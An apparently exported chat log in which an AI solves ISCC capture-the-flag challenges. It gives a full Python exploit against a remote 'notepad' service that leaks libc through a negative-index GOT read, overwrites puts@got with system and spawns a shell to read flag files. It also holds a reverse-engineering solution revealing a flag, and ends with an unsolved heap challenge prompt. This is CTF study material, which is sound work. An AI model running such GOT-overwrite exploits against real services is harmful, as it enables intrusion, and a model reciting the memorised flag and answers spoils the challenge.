notepad 一个简易记事本程序,允许创建和查看笔记。 题目地址:39.96.193.120:...
作成日: 2026年5月9日
使用モデル GPT-5.5 Thinking by Chat01
作成日: 2026年5月9日
使用モデル GPT-5.5 Thinking by Chat01
notepad
一个简易记事本程序,允许创建和查看笔记。
题目地址:39.96.193.120:10005
Flag(一般为ISCC{XXXX},如果为flag{XXXX}会在题目描述中说明)
提交(并写出writeUp,中文版本)
我已经完成漏洞分析和本地验证,但远程 39.96.193.120:10005 当前从环境里连接是 Connection refused,所以无法实际读取最终 flag。下面给出可直接跑远程的 EXP 和中文 writeUp;服务恢复后运行即可拿 flag。
python#!/usr/bin/env python3 # -*- coding: utf-8 -*- import socket import struct import time HOST = "39.96.193.120" PORT = 10005 # offsets from provided libc.so.6 READ_OFF = 0x111130 SYSTEM_OFF = 0x55410 def p64(x): return struct.pack("<Q", x) def u64(b): return struct.unpack("<Q", b.ljust(8, b"\x00"))[0] class Conn: def __init__(self, host, port): self.s = socket.create_connection((host, port), timeout=8) self.s.settimeout(2) self.buf = b"" def recvuntil(self, delim, timeout=5): end = time.time() + timeout while delim not in self.buf and time.time() < end: try: self.s.settimeout(max(0.1, end - time.time())) data = self.s.recv(4096) if not data: break self.buf += data except socket.timeout: break idx = self.buf.find(delim) if idx != -1: out = self.buf[:idx + len(delim)] self.buf = self.buf[idx + len(delim):] return out out = self.buf self.buf = b"" return out def recv(self, timeout=0.5): self.s.settimeout(timeout) try: return self.s.recv(4096) except socket.timeout: return b"" def send(self, data): self.s.sendall(data) def sendline(self, data): self.send(data + b"\n") def sla(io, delim, data): io.recvuntil(delim) io.sendline(data) io = Conn(HOST, PORT) io.recvuntil(b"> ") # 1. leak read@libc sla(io, b"> ", b"2") sla(io, b"Index: ", b"-4") out = io.recvuntil(b"> ") leak_region = out.split(b"Content: ", 1)[1] if leak_region.endswith(b"\n> "): leak_region = leak_region[:-3] read_addr = u64(leak_region[:8]) libc_base = read_addr - READ_OFF system_addr = libc_base + SYSTEM_OFF print("[+] read@libc =", hex(read_addr)) print("[+] libc_base =", hex(libc_base)) print("[+] system =", hex(system_addr)) # 2. overwrite puts@got -> system sla(io, b"> ", b"1") sla(io, b"Index: ", b"-5") io.recvuntil(b"Name: ") io.send(b"A" * 16) io.recvuntil(b"Content: ") payload = b"B" * 16 payload += p64(system_addr) # overwrite puts@got payload += b"C" * 8 # overwrite __stack_chk_fail@got, unused io.send(payload) io.recvuntil(b"> ") # 3. create note[0].name = "/bin/sh" sla(io, b"> ", b"1") sla(io, b"Index: ", b"0") io.recvuntil(b"Name: ") io.send(b"/bin/sh\x00" + b"D" * 8) io.recvuntil(b"Content: ") io.send(b"E" * 32) io.recvuntil(b"> ") # 4. view note[0], puts(note[0].name) => system("/bin/sh") sla(io, b"> ", b"2") sla(io, b"Index: ", b"0") time.sleep(0.2) # read flag io.send(b"cat flag; cat /flag; cat flag.txt; cat /home/ctf/flag\n") time.sleep(0.8) res = b"" while True: data = io.recv() if not data: break res += data print(res.decode("latin-1", errors="ignore"))
题目给了两个文件:
textnotepad libc.so.6
notepad 是 64 位 ELF,PIE 开启,NX 开启,Canary 开启,但没有 RELRO,因此 GOT 可写。
程序功能很简单:
text[1] Create Note [2] View Note
每条 note 的结构大概是:
cstruct note { char name[0x10]; char content[0x20]; };
全局数组 notes 在 .bss 段,地址偏移为:
textnotes = 0x35a0
每个 note 大小为 0x30。
关键函数是 get_note():
cprintf("Index: "); scanf("%d", &idx); if (idx > 9) { printf("Index out of range!"); exit(-1); } return ¬es[idx];
程序只检查了:
cidx <= 9
但没有检查:
cidx >= 0
所以可以输入负数索引,访问 notes 数组前面的内存。
由于 notes 前面就是 GOT 区域,并且程序没有 RELRO,因此可以通过负数索引泄露 GOT,也可以覆盖 GOT。
readelf -r notepad 可以看到 GOT 偏移:
textputs@got = 0x34d0 printf@got = 0x34e0 read@got = 0x34f0 notes = 0x35a0
每个 note 大小为 0x30,所以:
textnotes + (-4) * 0x30 = 0x35a0 - 0xc0 = 0x34e0
也就是说,索引 -4 指向 printf@got。
view_note() 会打印:
cputs(note->name); puts(note->content);
当 idx = -4 时:
textnote->name = 0x34e0 = printf@got note->content = 0x34f0 = read@got
因此可以通过查看 idx = -4 泄露 read@got,得到 libc 基址。
使用 view_note(-4) 后,Content: 后面会打印 read@got 中的真实 libc 地址。
根据附件 libc:
textread offset = 0x111130 system offset = 0x55410
所以:
pythonlibc_base = leaked_read - 0x111130 system = libc_base + 0x55410
接下来需要把 puts@got 覆盖成 system。
选择索引 -5:
textnotes + (-5) * 0x30 = 0x35a0 - 0xf0 = 0x34b0
create_note() 写入:
cread(0, note->name, 0x10); read(0, note->content, 0x20);
当 idx = -5 时:
textnote->content = 0x34c0
而:
textputs@got = 0x34d0
所以在 content 中填充:
text0x10 bytes padding + system_addr
即可覆盖:
textputs@got -> system
覆盖完成后,再创建正常 note:
textidx = 0 name = "/bin/sh\x00"
然后执行:
textview note 0
原逻辑是:
cputs(notes[0].name);
但此时 puts@got 已经被改成 system,所以实际执行:
csystem("/bin/sh");
即可 getshell。
我这里尝试连接远程时返回:
textConnection refused
所以当前无法实际读取 flag。
服务恢复后运行上面的 EXP,即可执行:
bashcat flag cat /flag cat flag.txt cat /home/ctf/flag
拿到最终 flag。
Flag(一般为ISCC{XXXX},如果为flag{XXXX}会在题目描述中说明)
提交(并写出writeUp,中文版本)
pythonMASK=0xA5A5A5A5 EXPECT_OBF=0x24965FFA h=EXPECT_OBF^MASK hex(h), h ('0x8133fa5f', 2167667295)
pythondef u32(x): return x & 0xffffffff def lcg(st): return u32(st*1664525 + 1013904223) h=0x8133fa5f base=[2,3,4,5,6] ga=[] for i in range(5): delta=(h>>(i*6))&0x3 ga.append(base[i]+delta) seed=h^0x12345678 state=seed x=[] for i in range(5): state=lcg(state) if i!=0: x.append(10 + state%90) else: x.append(state%10) ge=[ ga[0]*x[0]+x[1]+x[4], x[0]+ga[1]*x[1]+x[2], x[1]+ga[2]*x[2]+x[3], x[2]+ga[3]*x[3]+x[4], x[0]+x[3]+ga[4]*x[4] ] ga,x,ge, ''.join([str(x[0]), f'{x[1]:02d}', f'{x[2]:02d}', f'{x[3]:02d}', f'{x[4]:02d}']) ([5, 4, 7, 5, 7], [2, 95, 78, 91, 98], [203, 460, 732, 631, 779], '295789198')
pythondef gen_maze(seed): maze=[0]*16 def idx(x,y): return y*4+x st=u32(seed ^ 0x9E3779B9) x=y=0 maze[idx(x,y)]=1 path=[] while not (x==3 and y==3): st=lcg(st) canR=x<3 canD=y<3 if canR and canD: move=1 if (st & 1) else 2 elif canR: move=1 else: move=2 if move==1: x+=1; path.append('R') else: y+=1; path.append('D') maze[idx(x,y)]=1 for k in range(16): st=lcg(st) p=st%16 # false return maze,''.join(path) pw2=295789198 h=0x8133fa5f seed=u32(pw2 ^ u32(h*0x9E3779B1)) hex(seed), seed, gen_maze(seed) ('0x43116021', 1125212193, ([1, 1, 0, 0, 0, 1, 1, 0, 0, 0, 1, 1, 0, 0, 0, 1], 'RDRDRD'))
pythonfrom pathlib import Path p=Path('/mnt/data/attachment-21.cpp') text=p.read_text(encoding='utf-8', errors='replace') for i,line in enumerate(text.splitlines(), start=1): if 'bool sg6j' in line or 'EXPECT_OBF' in line or 'generated for stage1' in line or 'd4n7' in line or 'bool d5n7' in line or 'b5k8(uint32_t' in line or 'bool s6m8' in line or 'h5b5' in line or 'seed ^=' in line or 'h5b5(password1' in line: print(i, line)
pythonranges=[(301,337),(339,378),(425,510),(616,649),(657,679),(693,724),(736,750),(14,18),(87,104),(115,144),(180,217)] lines=text.splitlines() for a,b in ranges: print(f'--- {a}-{b} ---') for i in range(a,b+1): print(f'{i}: {lines[i-1]}') if i-a>4 and i<b-2: # maybe not too long? no pass print()
pythonfrom pathlib import Path p = Path('/mnt/data/attachment-21.cpp') text = p.read_text(encoding='utf-8', errors='replace') lines = text.splitlines() print("total lines", len(lines)) targets = ['bool sg6j', 'EXPECT_OBF', 'static void d4n7', 'static void b5k8(uint32_t', 'bool d5n7', 'bool s6m8', 'void h5b5', 'h5b5(password1', 'seed ^='] for i,line in enumerate(lines, start=1): if any(t in line for t in targets): print(i, line)
pythondef u32(x): return x & 0xffffffff def lcg(st): return u32(st * 1664525 + 1013904223) MASK = 0xA5A5A5A5 EXPECT_OBF = 0x24965FFA h = MASK ^ EXPECT_OBF base = [2, 3, 4, 5, 6] g_a = [base[i] + ((h >> (i * 6)) & 0x3) for i in range(5)] state = h ^ 0x12345678 xs = [] for i in range(5): state = lcg(state) xs.append((state % 10) if i == 0 else (10 + state % 90)) g_e = [ g_a[0] * xs[0] + xs[1] + xs[4], xs[0] + g_a[1] * xs[1] + xs[2], xs[1] + g_a[2] * xs[2] + xs[3], xs[2] + g_a[3] * xs[3] + xs[4], xs[0] + xs[3] + g_a[4] * xs[4], ] password2 = f"{xs[0]}{xs[1]:02d}{xs[2]:02d}{xs[3]:02d}{xs[4]:02d}" seed = u32(int(password2) ^ u32(h * 0x9E3779B1)) maze = [0] * 16 def idx(x, y): return y * 4 + x st = u32(seed ^ 0x9E3779B9) x = y = 0 maze[idx(x, y)] = 1 path = [] while not (x == 3 and y == 3): st = lcg(st) canR = x < 3 canD = y < 3 if canR and canD: move = 1 if (st & 1) else 2 elif canR: move = 1 else: move = 2 if move == 1: x += 1 path.append("R") else: y += 1 path.append("D") maze[idx(x, y)] = 1 print("stage1_hash =", hex(h)) print("g_a =", g_a) print("x =", xs) print("g_e =", g_e) print("password2 =", password2) print("maze_seed =", hex(seed)) print("maze rows =") for r in range(4): print(maze[r*4:(r+1)*4]) print("password3 =", ''.join(path)) print("flag =", f"ISCC{{RXDZQJQL{password2}{''.join(path)}}}")
textISCC{RXDZQJQL295789198RDRDRD}
附件是一个 Windows C++ 拆弹程序,共三关。主函数依次读取三段密码:
textpassword1 -> sg6j() password2 -> d5n7() password3 -> s6m8()
三关全部通过后调用 h5b5(password1, password2, password3) 输出 flag。程序最后会把三段密码直接拼接到 ISCC{} 中。(attachment-21.cpp) (attachment-21.cpp)
第一关函数是 sg6j()。
它要求输入长度为 8,并且字符范围在可打印字符内。随后使用魔方加密逻辑对输入进行处理,再计算 FNV1a(cipher),最后判断:
c(h ^ 0xA5A5A5A5) == 0x24965FFA
源码注释中已经给出了第一关正确明文:
cEXPECT_OBF = 0x24965FFAu; // generated for stage1=RXDZQJQL
因此第一段密码为:
textRXDZQJQL
第一关哈希值为:
text0x24965FFA ^ 0xA5A5A5A5 = 0x8133FA5F
相关逻辑见 sg6j():长度检查、key 解码、魔方加密、FNV1a hash 和 EXPECT_OBF 对比。(attachment-21.cpp)
第一关通过后,程序会调用:
cd4n7(g_stage1_hash);
用第一关的 hash 派生第二关参数。(attachment-21.cpp)
d4n7() 中使用 h = 0x8133FA5F 生成系数和目标值。它先根据 hash 微调基础系数:
cbase_a = {2, 3, 4, 5, 6} delta = (h >> (i * 6)) & 0x3
计算得到:
textg_a = [5, 4, 7, 5, 7]
然后使用 LCG 派生第二关真正的五个数:
textx = [2, 95, 78, 91, 98]
所以第二段密码按照程序格式拼接为:
text295789198
d4n7() 的派生逻辑和目标值计算见源码。(attachment-21.cpp)
第二关校验函数 d5n7() 要求输入长度为 9,将其拆为:
textx1 = 第 1 位 x2 = 第 2-3 位 x3 = 第 4-5 位 x4 = 第 6-7 位 x5 = 第 8-9 位
然后验证五个线性方程。(attachment-21.cpp)
代入:
textx1 = 2 x2 = 95 x3 = 78 x4 = 91 x5 = 98
即可通过第二关。
第二关通过后,程序使用第二段密码和第一关 hash 生成迷宫 seed:
cseed = atoi(password2); seed ^= (g_stage1_hash * 0x9E3779B1u); b5k8(seed);
对应源码在主流程中。(attachment-21.cpp)
代入:
textpassword2 = 295789198 g_stage1_hash = 0x8133FA5F
得到:
textmaze_seed = 0x43116021
b5k8(uint32_t seed) 生成一个 4x4 迷宫,只允许向右或向下 carve 出一条保证路径。(attachment-21.cpp)
生成出的迷宫为:
text1 1 0 0 0 1 1 0 0 0 1 1 0 0 0 1
从左上角 (0,0) 到右下角 (3,3) 的路径是:
textR D R D R D
所以第三段密码为:
textRDRDRD
第三关函数 s6m8() 会根据输入的 L/R/U/D 移动,越界或走到 0 都失败,最终必须到达 (3,3)。(attachment-21.cpp)
最终 h5b5() 先 XOR 解出前缀 Flag: ISCC{,再依次输出三段密码,最后补 }。(attachment-21.cpp)
三段密码分别是:
text第一段:RXDZQJQL 第二段:295789198 第三段:RDRDRD
因此最终提交:
textISCC{RXDZQJQL295789198RDRDRD}
deepvoid
欢迎来到“深空(DeepSpace)”跨星系数据中心。为了应对日益增长的暗物质数据,我们上线了全新的DeepVoid存储管理系统。
我们的高级架构师向董事会保证:
1.我们为每一段数据都申请了独立的安全舱。
2.这里的链表结构像星轨一样严密。
3.哪怕是空间站爆炸,数据指针也绝不会出现幽灵。
然而,最近一名实习航天员发现,当试图向存储舱更新超过预定容量的数据时,虚空的边缘似乎出现了重叠……
“虚空正在崩塌,链接正在断裂,你能利用这股混乱的力量,夺回控制中心的Root权限吗?”
题目地址:39.96.193.120:55555
Flag(一般为ISCC{XXXX},如果为flag{XXXX}会在题目描述中说明)
提交(并写出writeUp,中文版本)